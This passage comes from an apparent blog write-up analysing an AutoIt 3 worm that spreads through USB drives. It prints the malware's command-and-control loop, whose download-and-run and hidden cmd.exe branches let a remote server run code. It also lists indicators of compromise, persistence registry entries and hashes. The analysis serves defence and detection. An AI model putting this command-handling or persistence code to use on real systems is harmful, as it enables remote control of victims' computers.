Enter fullscreen mode Exit fullscreen mode

If $CNC_command is not equal to "", it tries to split using the delimiter and assign to $CNC_command_list.

Note: StringSplit is also using AutoIt 3 Array returning format.

            If $CNC_command_list[0] > 0 Then
Enter fullscreen mode Exit fullscreen mode

$CNC_command_list size check is too comic. It checks only longer than is it bigger than 0 or not. However we are already checked it is not empty, so it always bigger than 0. Also not properly checks size. $CNC_command_list[2] would malware crash if server send faulty data. Never mind, I am too thinking about this malware.

                Select
                    Case $CNC_command_list[1] = "DL"
                        InetGet($CNC_command_list[2], @TempDir & "\" & $CNC_command_list[3], 1)
                        If FileExists(@TempDir & "\" & $CNC_command_list[3]) Then
                            ShellExecute("cmd.exe", "/c start %temp%\" & $CNC_command_list[3], "", "", @SW_HIDE)
                            DataReport("MSG0LIONW0Executed As " & $CNC_command_list[3])
                        Else
                            DataReport("MSG0LIONW0Download ERR")
                        EndIf
Enter fullscreen mode Exit fullscreen mode

It checks first parameter is equal to DL. DL mostly stands for download keyword. And it's explaining what does exactly. It download second parameter to %TEMP% using third parameter as filename.
If the file exists in the %TEMP% directory, it tries to run via ShellExecute. And lastly sends information to C&C server about execution state (run or corrupted). Also this mode might be show the malware have a second part which distributed via C&C to keep avoid from anti-virus scans. But we can never able to learn that.

Also it is the part of we understand the malware isn't just a basic worm or info-stealer. It can run arbitrary code on infected computer.

Probably the syntax is looking like DL0LIONW0$url0LIONW0file_name to trigger that situation.

                    Case $CNC_command_list[1] = "un"
                        BrokenUninstall()
Enter fullscreen mode Exit fullscreen mode

If it gets just un command, it triggers broken uninstaller function. Also you probably guessed the un keyword is just standing uninstall.

                    Case $CNC_command_list[1] = "cmd"
                        If ShellExecute("cmd.exe", $CNC_command_list[2], "", "", @SW_HIDE) = 1 Then
                            DataReport("MSG0LIONW0Executed cmd.exe " & $CNC_command_list[2])
                        Else
                            DataReport("MSG0LIONW0Execute ERR cmd.exe " & $CNC_command_list[2])
                        EndIf
Enter fullscreen mode Exit fullscreen mode

If it gets cmd as first argument, it will try to run the command in cmd.exe, however it not contains /c parameter so commands also needs the parameter to run command with it. Also it not reported output of the command. So it's a blind shell at all. You can run commands however never be sure what worked and what not worked.

Probably the syntax is looking like cmd0LIONW0$command to trigger that situation.

                EndSelect
            EndIf
    EndSelect
WEnd
Enter fullscreen mode Exit fullscreen mode

5. IoC

5.1. Network Address

  • hxxp://googleads[.]publicvm[.]com:224/

5.2. Dropped Files

  • X:\MozillaFirefox
  • X:\MozillaFirefox\GoogleChrome.exe
  • X:\MozillaFirefox\GoogleChrome.a3x
  • X:\MozillaFirefox\GoogleChrome.lnk
  • X:\MozillaFirefox\GoogleUpdate.lnk
  • X:\MozillaFirefox\WindowsUpdate.lnk
  • X:\MozillaFirefox\MozillaFirefox.lnk
  • X:\GoogleChrome
  • X:\GoogleChrome\GoogleChrome.exe
  • X:\GoogleChrome\GoogleChrome.a3x
  • X:\GoogleChrome\GoogleChrome.lnk
  • X:\GoogleChrome\GoogleUpdate.lnk
  • X:\GoogleChrome\WindowsUpdate.lnk
  • X:\GoogleChrome\MozillaFirefox.lnk
  • X:\$folder_name\$folder_name.lnk
  • X:\*\My Music.lnk
  • X:\Documents.lnk
  • X:\Downloads.lnk
  • @StartupCommonDir\Google Chrome.lnk
  • @StartupCommonDir\GoogleUpdate.lnk

5.3. Regedit

Key Name Value Name Type Value
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run JavaUpdate REG_SZ C:\GoogleChrome\GoogleUpdate.lnk
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run NewJavaInstall REG_SZ C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run AdopeUpdate REG_SZ C:\GoogleChrome\GoogleUpdate.lnk
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run AdopeFlash REG_SZ C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x

5.4. Hashes

  • GoogleChrome.a3x
    • md5:504d89bf4cd11c6557126ed1dc3d7504
    • sha1:bd4ba817d1fde5a936700907e8cf3fdfe539388c

6. TL;DR

  • The malware is abusing the AutoIt 3 (3.3.8.1) signed executable. And uses compiled AutoIt3 scripts (a3x) to distribute the malware. And since the malware dependent to runtime, uses Windows shortcuts that triggers malware.
  • It distributed by removable drives. And infect victim computer via malicious shortcut files. Any execution of shortcut files will trigger infection chain.
  • It can download any executable and run any arbitrary command via C&C server.
  • It reports username, desktop name, Windows version, cpu arch, drive serial, antivirus vendor before every C&C connections.
  • It adds startup triggers (via shortcuts and regedit values).
  • It changes firewall settings to allow itself.
  • It sends active windows titles in every 8 seconds.

Top comments (0)